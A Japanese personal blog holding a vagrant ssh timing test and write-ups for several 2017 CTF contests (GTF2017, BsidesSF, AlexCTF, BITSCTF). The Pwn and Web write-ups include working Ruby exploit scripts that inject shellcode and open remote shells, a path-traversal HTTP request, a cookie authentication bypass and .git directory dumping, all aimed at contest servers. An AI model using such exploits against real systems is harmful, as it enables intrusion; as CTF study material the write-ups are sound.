ブログの名前なんて適当で良いのでは

説明を求めるな、記事を読め

vagrantのssh接続を早くする

Vagrantを利用している人ならば,vagrant sshが遅くてしんどい気持ちになったことは多いと思います.そこで早くできないかとぐぐってみると以下の記事を見つけると思います.

Vagrant ssh-configでvagrant sshを快適にする - Qiita

ここでは~/.ssh/configvagrantで管理してるVMの情報を追記(vagrant ssh-configをそのまま流し込んでいるだけ)して,vagrant sshではなく普通のsshでやると早いということが書かれているのですが,実際にどれぐらい早いかが書いていなかったので,実際に検証してみました.

方法 時間
vagrant ssh 5.38 real 2.39 user 0.47 sys
ssh 2.11 real 0.01 user 0.00 sys

この結果を見る限り普通のsshのほうが早いので,これからは普通のsshを使おうという気持ちになりました.

April Fools' GTF2017のwriteupと感想

普通の問題は解けないけれど,Guess The Flag力は高いと信じて1人で参加した.
一応,弊チーム運営ではあるが,運営には入っていないので知ってる情報はない感じです.結果は1936点で10位でした.
以下writeupと感想です.

writeup

Welcome

your passwordを打てと言われているのでyour passwordと入力するだけ.これは推測はいらない.

thinking_face

絵文字のこと🤔.これは推測はいらない.

Japanese Contest

日本で1番大きいのはSECCON.これは推測はいらない.

Houses

Heap Exploitation界隈では有名なHouse of なんちゃらシリーズのことだと問題文を読むとわかる.無いのは,@hhc0nullのHouse of Einherjar

Ko-Gyoku

Ko-Gyoku = 紅玉 = Rubyであることは自明. Rubyのアンダースコア難読化を考える.そうすると有名なのに"_“がある.(正直言うとたまたま知っていた)
これのライブラリがあるのだが,なぜかうまく動かない.Fixnumの配列に対してjoinしようとしているというTypeErrorがでてしまう.なので,ライブラリ自体のソースコード でFixnumの配列に対して,

$code = $code.map{|x| x.to_s}

としてあげることで,文字になるので,エラーが取れてFLAGが表示される.

APRCTF{Guess_The_Gem}

MyEncryption

問題ファイルの中身の末尾が}であることからFLAGの末尾だとわかる.ここを除くとファイルサイズは20byteで,なおかつファイル名も20byteなので,これらのXORであることは自明. 余談だが,最初owlinuxで参加していて,おみくじで-500食らったので,最悪なアカウント再作成を行ったのだが,owlinuxではFirst solvedだったっぽい.

# coding: ascii-8bit
fname = "01e24bda2b951c1dc54ac2c89b72381755c295a3".scan(/../)
flag = File.read("01e24bda2b951c1dc54ac2c89b72381755c295a3").force_encoding("ascii-8bit").split("")

result = ""
20.times do |i|
  result << (fname[i].to_i(16) ^ flag[i].ord).chr
end
result << "}"
print result

よって,APRCTF{XOR_IS_SECURE}

test problem

アクセスするとtitleタグに書いてある.

TWGTF{this_is_not_flag_and_there_is_no_more_flag}

Scoreserver

  1. 404なので,パスを間違えてアクセスする APRCTF{Kyoto_Is_In_The_West_Of_Tokyo}

  2. 422なので,パラメータなどを適当な値に変更してアクセスする 422{Tokyo_Is_In_The_East_Of_Kyoto}

感想

あともうちょっとのところで解けそうみたいな感じのがあり,久しぶりに楽しさを感じられた.あまり時間を無駄にしたとは思えなかったので勝ちかもしれない.

katagaitaiCTF勉強会#8 関東medに参加してきた(感想)

encry1024.hatenablog.com

ちょうど1年前ぐらいに初めてkatagaitaiCTF勉強会に行った時の感想があったので懐かしさを感じていた.この時が,初めてのkatagaitaiCTF勉強会で,これの1ヶ月前ぐらいに村人Bをがんばって解けたぐらいの力量で,そのため,なかなか厳しい感じでしたが当時の楽しかった気持ちも蘇ってきました.

今回は,二日間にわけて,Crypto, Hardware, Pwnというスケジュールで濃密な二日間でした.

1日目(午前Crypto, 午後Hardware)

初日は朝早くからガッツリ頭を使うCrypto.講義で扱われる問題のベースはナップザック暗号についてだった.burningCTFでもナップザック暗号の問題を解くことができなかったし,個人的にはすごい嬉しい議題だった.最初の問題はなんとか理解できたのですが,格子理論が混じったあたりからよくわからなくなったし,復習しようと思った.1問目はソルバを書けたので置いておく.(特にスライドと差はないけど)

[TokyoWesternsCTF2016] Backpacker's cihper (easy mode) [Crypto:200pts] — Bitbucket

昼飯をがっつりラーメン食ったら眠くなってしまい,少しうとうとしながらHardwareの講義が始まった.Hardwareというジャンル自体あまり見かけないし,絶対解かないので,内容自体新鮮で楽しかった.しかし,自分がHardware自体に弱く回路図に戻すとかあたりが厳しかったし,二問目はもうよくわからなくなった.正直な話とても大変そうで二問目は復習する気が起きないし,1問目はなぜかスライドどおりのコードを書いているはずなのだけれど,復号できないしでしんどくなって投げ出した.気合が足りない.

2日目(午前,午後 Pwn)

午前午後ともにPwnで非常にしんどいかと思われたが,午前はあまりしんどくなく,少し理解に時間かかったものの,なんとか講義中にシェルを取ることに成功した.個人的にはスライドがもう少し詳しくしても良かったのかなと思う.
午後は,予めわかっていたWindowsのPwn.このフレーズからして楽しい香りがするし,実際楽しかった.前回行った時もそうだったが,なんというかbataさんの説明やテンポがとても自分には聞きやすく,たまに出る煽りでみんなの笑いも取るしで,とても楽しく学ぶことができた.ヒープベースのオフセットを求めるところでどこらへんまで主観を入れてオフセットを決めていいのかわからず0xNNNのNをいじっていたが,実際には0xNNNNまでいじらなくてはいけなかったみたい.そこで追いつけなくなって,exploitの作成や検証は諦めて聴講スタイルにシフトした.最後まで聞き終わるとめちゃくちゃ満足感があり,本当に来てよかったと感じた.Windows問題のPwnであったけれど,その点を除けばよくあるLinuxのPwnなので,bataさんの思考の流れなども垣間見ることができて,そういう点でも学びが深かった. 午前午後ともにスライドとなんら代わりはないが,完成することはできたので,一応writeupを書いておいた.

pwn.hatenadiary.jp

pwn.hatenadiary.jp

BsidesSF CTF 2017のwriteupと感想

BsidesSF CTF 2017にソロで参加してみた.残り2時間半のところで寝てしまったので,少し見てない問題がある(Pwnとか解けそうだったなぁ)のが悔やまれる.結果としては1075点の104位だった.正直な事を言うと100位以内には入りたかったので悔しかった.以下に解けた問題のwriteupです

Forensics

easycap (40pts)

pcapファイルが渡されるので,Follow TCP Streamをする.

FLAG:385b87afc8671dee07550290d16a8071

Misc

NOP (20pts)

NOPと同じことをする命令なのでxchg eax, eax

xchg eax, eax

Pwn

easyshell (30pts)

ソースコードが渡され,中を見るとmmapでRWXな領域を作ってそこをcallしているので,シェルコードを流すだけ.
ただし,alarmが短いので予めcat /home/ctf/flag.txtをコピーして置いて貼り付けて出力させた.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = 'easyshell-f7113918.ctf.bsidessf.net'
  port = 5252
end

PwnTube.open(host, port) do |t|
  # t.debug = true
  puts t.recv_until("\n")
  t.sendline(PwnLib.shellcode_x86)
  t.shell
end

FLAG:c832b461f8772b49f45e6c3906645adb

shortest (200pts)

5byte分の命令を実行してくれる上に,その命令にjmpする前に意図的に仕組まれたmov edx, 0xffなどがあり,予めシステムコールが呼びやすいレジスタ設定になるようにされている.そこで,eaxとebxの値をdecしてあげて,int 0x80を呼んで新たにreadを呼ぶ.その読み込み先は今実行している命令の先頭からなので,先頭に5byteパディングをつけてシェルコードを後続させる.先程と同様に予めコマンドをコピーしておいて貼り付けてFLAG出力.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = 'i-am-the-shortest-6d15ba72.ctf.bsidessf.net'
  port = 8890
end

PwnTube.open(host, port) do |t|
  t.debug = true
  addr = t.recv_until("\n").match(/is (.+)\n/)[1].to_i(16)
  puts t.recv_until("\n")
  puts "addr 0x%x" % addr
  payload = ""
  payload << p32(0xcd4b4848)
  payload << "\x80"
  t.send(payload)
  sleep(1)
  t.send("AAAAA" + PwnLib.shellcode_x86)
  t.shell #=> cat /home/ctf/flag.txt
end

FLAG:c9f053110aa0f2d28ed8978e3b03cb01

Reversing

Easy (10pts)

stringsとターミナルで打つ力が必要.

FLAG:db2f62a36a018bce28e46d976e3f9864

easyarm (100pts)

ARMのバイナリ問題.ぶっちゃけ取り組んだことがないので,楽しんで解けた.動的解析する環境すらないので,普通に静的解析をした(Hopperに投げた). そうするとおおよそ以下のCコードのような処理をしていると分かった.

#include <stdio.h>

int check(const char *string) {
  int i = 0;
  if(string[i + 6] == NULL) {
    return 0xc2;
  } else {
    if(string[i + 6] == 'R') {
      // 処理が続く
    }
  }
  return 0;
}

void error_exit() {
  puts("Sorry, that's not the right flag.");
  exit(1);
}

int main(int argc, char* argv[]) {
  
  if(argc != 2)
    error_exit();

  if(check(argv[1]) != 0)
    error_exit();
  
  puts("Congratulations, you have found the flag.");
  exit(0);
}

上記のコードより,入力文字列に対して,特定の添字でアクセスしてNULLかどうかの判断の後に,実際のASCII文字との比較を行っていることがわかったので,アセンブリadds r3, #0x6cmp r3, #0x52などを目印にしてaddsの引数を添字,cmpの引数を比較対象として文字を並べるとフラグが出てきた.

Flag:ARM_Is_Not_Scary

Pinlock (150pts)

いつもと同様にデコンパイルする.まずassets/pinlock.dbの中を見てみると4つのテーブルがあったが,実際v1とpinDBしか使われないことが他のソースを読むとわかる. pinDBには,d8531a519b3d4dfebece0259f90b466a23efc57bというsha1hashが格納されており,これの元は7498であった.おそらくpinだろうと思って入力してみると,実際にログインに成功した.
しかし,ログインしても普通の英語しか表示されず,これはDBv1の方の中の暗号化された文字列だと判明した.そこでDBv2の方がフラグだとうと推測して,これを戻すためにCryptoUtilitiesの必要なメソッドたちだけを引っこ抜いてきて,クラスを作り,以下のコードを実行するとフラグがでた.
コードの実行などの際にandoroidのBase64などを使っていたが,Java8から入っているらしいのでそれを使ったため,andoroid環境が無くても動くコードにした.Java8の環境なんて作っていないので,オンラインのJava8が実行できるprivateな環境を使って実行した.

class Solver
{
    public static void main(String[] args) throws Exception {
        String str = "7498";
        CryptoUtilities cr = new CryptoUtilities("v2", str);
        //System.out.print(cr.decrypt("hcsvUnln5jMdw3GeI4o/txB5vaEf1PFAnKQ3kPsRW2o5rR0a1JE54d0BLkzXPtqB"));
        System.out.print(cr.decrypt("Bi528nDlNBcX9BcCC+ZqGQo1Oz01+GOWSmvxRj7jg1g="));
    }
}

Flag:OnlyAsStrongAsWeakestLink

Skipper (75pts)

ホスト名やOSのバージョンなどの比較をシェル・コマンド使って行われてしまう.そこでそこらへんの比較処理が終えた後どうなっているのかを確認してみると,call 0x8048a63をしているとわかる.そこでgdbでそこにgoto 0x8048a63して飛んでcontinueをするとフラグがでてくる.

FLAG:f51579e9ca38ba87d71539a9992887ff

Skipper2 (200pts)

Skipperの強化番なので,愚直に飛ばすことはできないと踏んで,比較対象と同じになるような文字列を格納できるgdb scriptを作成した.x86だと文字列が長い時setコマンドが増えてしまうので,あえてx86_64のバイナリで解析を行った.
必要な箇所でこれを逐次実行していって正しい比較結果の分岐を勧めていく.比較が終わったらcontinueでFLAG出力.

def hostname
    set {long}0x7fffffffdb20 = 9088680153868427624
end

def osversion
    set {long}0x7fffffffdb20 = 54095888264754
end

def cpu
    set {long}0x7fffffffdb20 = 8387218128874261825
    set {int}0x7fffffffdb28 = 561145204
end

FLAG保存し忘れた

Web

easyauth (30pts)

ソースコードを見るとPOSTのときはいろいろ処理があるが,GETのときは大部分をすり抜けていくことがわかる.さらにすり抜けた先で,Cookieの値をパースして$usernameに入れる処理があり,その$usernameを後に文字列administratorと比較しているので,パースした時に$usernameにadministratorが入るようにCookieを設定してGETリクエストを送るとFLAGが出力される.

FLAG:0076ecde2daae415d7e5ccc7db909e7e

the-year-2000 (100pts)

なんとなく.gitディレクトリを調べてみるとforbiddenと表示される.怪しいので,更に調べてみる,.gitの中身を思い出してHEAD/.git/HEADを末尾につけてアクセスすると案の定ファイルの中身が出力されたので,この方針だと確定する.dvcs-ripperでサクッと全部の中身を抜いてきて確認していく.

git logで確認したcommitに戻してもフラグが見つからないので,git初心者の私は.gitディレクトリの中を探索していった.そしたら,.git/logs/HEADの中にlogにかかれていないcommitのハッシュ値があることに気づいた.そこで以下のハッシュ値を戻してみた.

git reset --hard 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0

そうするとindex.htmlの末尾にFLAGがあった.

______________________
< Thanks for visiting! >
 ----------------------
         \   ^__^
          \  (oo)\_______
             (__)\       )\/\
                  ||----w |
                  ||     ||
</pre>
</marquee>
</body></html>
Your flag is... FLAG:what_is_HEAD_may_never_die

FLAG:what_is_HEAD_may_never_die

Zumbo 1 (20pts)

ソースコードを見ると,server.pyというファイルで動いていることがわかるので,それを見る.

#!/bin/sh
curl -s http://zumbo-8ac445b1.ctf.bsidessf.net/server.py | grep "FLAG"

FLAG: FIRST_FLAG_WASNT_HARD

Zumbo 2(100pts)

コードを見る限り,/<path:page>page/flagを設定すれば良いのでブラウザでやっていたが,うまくいかず生のHTTPリクエストを投げてみようと思い,BurpでHTTPリクエストのGETのところを以下のように書き換えてみたところちゃんとFLAGが出力された.

GET /../flag HTTP/1.1
Host: zumbo-8ac445b1.ctf.bsidessf.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

FLAG: RUNNER_ON_SECOND_BASE

AlexCTFのwriteupと感想

開始時間が早まっていたらしいが,私自身はその早まった時間しか見て無くてスタートダッシュを決めて始めてしまった.
チームとしては21位の2450ptsの全完で,うち640ptsを入れた.

Gifted(Rev:50pts)

stringsするとフラグが見える.

AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}

C++ is awesome(Rev:100pts)

C++バイナリで,L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A{FL4G}W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1tという文字列に対して,特定のメモリに格納された添字でアクセスしている処理が見えたので,それをまんま真似てみたらフラグが出た.

ALEXCTF{W3_L0v3_C_W1th_CL45535}

Catalyst system(Rev:150pts)

loading処理として乱数値でのsleepがあり邪魔なのでパッチをあてて潰す.その後バイナリを解析していくとUsernameとPasswordに対しての処理があることがわかる.Usernameは方程式を解く,Passwordは乱数値を引いた値が特定の値になるというチェックだった. UsernameとPasswordのチェックに関してz3使ってソルバを書いた.(この時は気づかなかったけどPasswordの方に関してはz3使う必要ないよなってことでusernameだけ示す.)

from z3 import *
from struct import pack

x = Int("x")
y = Int("y")
z = Int("z")

s = Solver()

s.add(x - y + z == 1550207830)
s.add(3 * x + y + 3 * z == 12465522610)
s.add(y * z == 3651346623716053780)

r = s.check()
if r == sat:
    m = s.model()
else:
    print r

username = ''
username += pack('L', m[x].as_long())
username += pack('L', m[y].as_long())
username += pack('L', m[z].as_long())

print username

正しいUsernameとPasswordでログインするとフラグが表示された.
ALEXCTF{1_t41d_y0u_y0u_ar3gr34treverser__s33}

Ultracoded(Crypto:50pts)

CTFお決まりのものがいろいろ混ざった問題.
ZEROとONEという単語が大量にあるファイルが配布されるので,まず数値の0,1に直す.その後,8bitずつに区切ってASCIIに戻す.その後Base64デコードすると,モールス信号がでてくるので,それを読み解くとフラグになる.(ただしOを_に変換する必要あり)

require 'base64'
# http://morsecode.scphillips.com/translator.html
p Base64.decode64(File.read("zero_one").scan(/......../).map{|x| x.to_i(2).chr}.join(""))

ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}

Mathbot(PPC:100pts)

ncでつなぐと0xdeadbeef + 0xdeadbeef =的なのが送られてくるので,オペランドとオペレータを引っこ抜いて計算するだけ.数回やるとフラグが降ってきた.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = '195.154.53.62'
port = 1337

PwnTube.open(host, port) do |t|

  i = 0
  t.debug = true
  while true
    puts "phase %d" % i
    t.recv_until(":\n")
    a = t.recv_until(" ").to_i
    op = t.recv_until(" ").chop
    b = t.recv_until(" ").to_i

    t.sendline((a + b).to_s)  if(op == '+')
    t.sendline((a - b).to_s)  if(op == '-')
    t.sendline((a * b).to_s)  if(op == '*')
    t.sendline((a / b).to_s)  if(op == '/')
    t.sendline((a % b).to_s)  if(op == '%')
    i += 1

  end
end

ALEXCTF{1_4M_l33t_b0t}

Cutie cat(PPC:150pts)

クソ問

$ steganography -d cat_with_secrets.png                                                                             ASLR: ON
ALEXCTF{CATS_HIDE_SECRETS_DONT_THEY}

SSL_0day(Trivia:20pts)

英語を読む能力
HeartBleed

CA(Trivia:20pts)

英語を読む能力
letsencrypt

感想

Rev350pts解きたかったなぁ

BITSCTF 2017のwriteupと感想

AlexCTFをやってて,存在に気づかず残り5時間の時に気づいて,チームの人に声をかけてからとき始めた.結果としてはチームで23位の470ptsで,そのうち70ptsを入れました. 感想をかけるほど何も思い入れがなかったので,解いた問題のwriteupを書きます.

Labour(Misc 20pts)

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<gpx version="1.1" creator="BITSCTF" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.topografix.com/GPX/1/1" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">

<!--Use appropriate brackets and underscores to separate words if you succeed-->
<wpt lat="23.71697" lon="89.45508">
<ele>12.1</ele>
<name>WP01-A</name>
</wpt>
<wpt lat="22.82885" lon="80.79786">
<name>WP02-B</name>
</wpt>
<wpt lat="39.88276" lon="58.81642">
<name>WP03-C</name>
</wpt>
<wpt lat="15.43674" lon="27.65039">
<name>WP04-D</name>
</wpt>
<wpt lat="12.69179" lon="17.50781">
<ele>288.7</ele>
<name>WP05-E</name>
</wpt>
<wpt lat="14.91081" lon="100.47656">
<ele>13.1</ele>
<name>WP06-F</name>
</wpt>
<wpt lat="45.9267" lon="2.21484">
<ele>557.9</ele>
<name>WP07-G</name>
</wpt>
<wpt lat="4.11852" lon="102.19922">
<ele>67.2</ele>
<name>WP08-H</name>
</wpt>
<wpt lat="34.85709" lon="65.84765">
<ele>3209.7</ele>
<name>WP09-I</name>
</wpt>
<wpt lat="28.89086" lon="68.30859">
<ele>116.9</ele>
<name>WP10-J</name>
</wpt>
<wpt lat="39.20502" lon="31.92187">
<ele>797.8</ele>
<name>WP11-K</name>
</wpt>
<wpt lat="47.24344" lon="19.8457">
<ele>93.5</ele>
<name>WP12-L</name>
</wpt>
<wpt lat="25.30828" lon="29.84765">
<ele>267</ele>
<name>WP13-M</name>
</wpt>
<wpt lat="18.97119" lon="-72.28521">
<ele>375</ele>
<name>WP14-N</name>
</wpt>
<wpt lat="-13.61609" lon="17.68359">
<ele>1510.9</ele>
<name>WP15-O</name>
</wpt>
<wpt lat="33.84122" lon="102.23438">
<ele>3426.2</ele>
<name>WP16-P</name>
</wpt>
<wpt lat="46.89624" lon="69.53907">
<ele>364.4</ele>
<name>WP17-Q</name>
</wpt>
</gpx>

上記のファイルを渡される.latとlonとあるので座標のことだと理解.しかしeleが知らなくてぐぐったりしていたが,ファイル名がDoSomethingWithThisなので,このファイルをどうにかすればいいんだろうなと思い,ぐぐるGoogle Map上にマッピングしてくれることに気づく.試しにマッピングしてみると,上記の点は順番に,

Bangladesh
India
Turkmenistan
Sudan
Chad
Thailand
France
Malaysia
Afghanistan
Pakistan
Turkey
Hungary
Egypt
Haiti
Angola
China
Kazakhstan

の都市を指していた.これを縦読みするとBITSCTFMAPTHEHACK,最後に,単語間に_や{}を入れてあげる.
BITSCTF{MAP_THE_HACK}

Command Line(Pwn 20pts)

あっちのブログに書くほどでもないので,こちらに書きます.
スタック上のアドレスを出力してくれる上に,ASLRがOFFと明記されているので,スタック上のアドレスを計算して,そこにシェルコードを配置して踏むだけ.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = 'bitsctf.bits-quark.org'
  port = 1330
end

PwnTube.open(host, port) do |t|
  stack = t.recv_until("\n").to_i(16)
  puts "stack 0x%x" % stack
  payload = "A" * 24
  payload << [stack + 32].pack("Q")
  payload << PwnLib.shellcode_x86_64
  t.sendline(payload)

  t.shell
end

BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}

Random_Game(Pwn 30pts)

srand((unsigned)time(NULL))rand() & 0xfの乱数を数回当てるとフラグ出力するという問題.都合があって詳しくは書きませんが,ちゃんと乱数値を予測可能です.

BITSCTF{54m3_533d_54m3_53qu3nc3}

感想

疲れた